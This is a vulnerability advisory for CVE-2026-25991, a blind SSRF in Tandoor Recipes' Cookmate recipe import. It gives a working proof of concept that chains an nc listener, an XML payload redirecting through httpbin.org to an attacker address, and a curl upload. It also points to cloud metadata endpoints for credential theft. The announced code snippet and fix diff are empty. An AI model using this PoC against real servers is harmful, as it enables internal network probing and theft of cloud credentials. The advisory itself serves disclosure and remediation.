CVE-2026-25991: Blind SSRF with Internal Network Access via Recipe Import

Summary

I discovered a Blind Server-Side Request Forgery (SSRF) vulnerability in the Cookmate recipe import feature of Tandoor Recipes. The application fails to validate the destination URL after following HTTP redirects, allowing any authenticated user (including standard users without administrative privileges) to force the server to connect to arbitrary internal or external resources.

This vulnerability can be leveraged to scan internal network ports, access cloud instance metadata (e.g., AWS/GCP Metadata Service), or disclose the server's real IP address.

Details

The vulnerability lies in cookbook/integration/cookmate.py, within the Cookmate integration class.

1. Initial Logic: When processing an imported XML file, the application extracts the imageurl field.
2. Initial Check: The URL is validated using the helper function validate_import_url (in cookbook/helper/HelperFunctions.py), which correctly blocks private IP ranges (e.g., 127.0.0.1, 10.0.0.0/8).
3. The Bypass (Vulnerable Code): However, immediately after validation, the code uses requests.get(url) to download the image. By default, the requests library follows redirects (allow_redirects=True). The validate_import_url function only checks the initial URL but fails to validate the final destination after a redirect occurs.

Vulnerable Code Snippet (cookbook/integration/cookmate.py:73):

An attacker can use an external service (like httpbin.org) to redirect the request to a restricted internal address (e.g., http://127.0.0.1:80/ or http://169.254.169.254/).

Crucially, the AppImportView (cookbook/views/api.py) explicitly allows CustomIsUser permissions, meaning ANY registered user can trigger this vulnerability. No special administrative rights are required.

PoC (Proof of Concept)

Prerequisites:

1. A standard user account (non-admin) on the Tandoor instance.
2. Python installed locally (or any HTTP listening tool like nc).

Steps to Reproduce:

1. Set up a listener (Attacker Machine): Open a terminal and start nc to listen for incoming connections. This simulates an internal service or attacker-controlled server.

   root@kitploit:~

   nc -lvnp 9999
   

2. Create a Malicious XML Payload: Create a file named payload.xml. Replace <YOUR_IP> with your public IP address (or reachable IP). This payload uses httpbin.org to bypass the initial private IP check and redirect to your listener.

   root@kitploit:~

   <recipes>
     <recipe>
       <title>SSRF_PoC</title>
       <!-- Redirect to internal service or attacker's listener -->
       <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
     </recipe>
   </recipes>
   

3. Create a ZIP archive: Tandoor requires the XML to be inside a ZIP file.

   root@kitploit:~

   zip payload.zip payload.xml
   

4. Execute the Exploit (via API): Log in as a Standard User (not admin) to get the session cookie and CSRF token. Then send a POST request to /api/import/: (Replace <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> with actual values)

   root@kitploit:~

   curl -X POST 'http://<TARGET_URL>/api/import/' \
     -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
     -H 'X-CSRFToken: <CSRF_TOKEN>' \
     -F 'type=COOKMATE' \
     -F '[email protected]' \
     -F 'duplicates=true'
   

5. Verify the Connection: Check your listener terminal (nc). You will see an incoming HTTP GET request from the Tandoor server. This confirms that the server, acting on behalf of a standard user, has connected to an arbitrary external/internal resource.
   root@kitploit:~

   GET /secret.txt HTTP/1.1
   Host: <YOUR_IP>:9999
   User-Agent: python-requests/2.x.x
   ...
   

Impact

• Internal Network Scanning: Attackers can probe internal ports to discover running services.
• Cloud Metadata Leakage: If deployed on AWS/GCP/Azure, attackers can access the instance metadata (e.g., http://169.254.169.254/latest/meta-data/) to steal IAM credentials, leading to full infrastructure compromise.
• Severity: High (CVSS ~8.0) because it requires low privileges (standard user) and can lead to significant impact (metadata access/internal scanning).

Remediation

Disable automatic redirect following in the requests.get call or implement strict validation for redirect URLs.

Diff (Proposed Fix):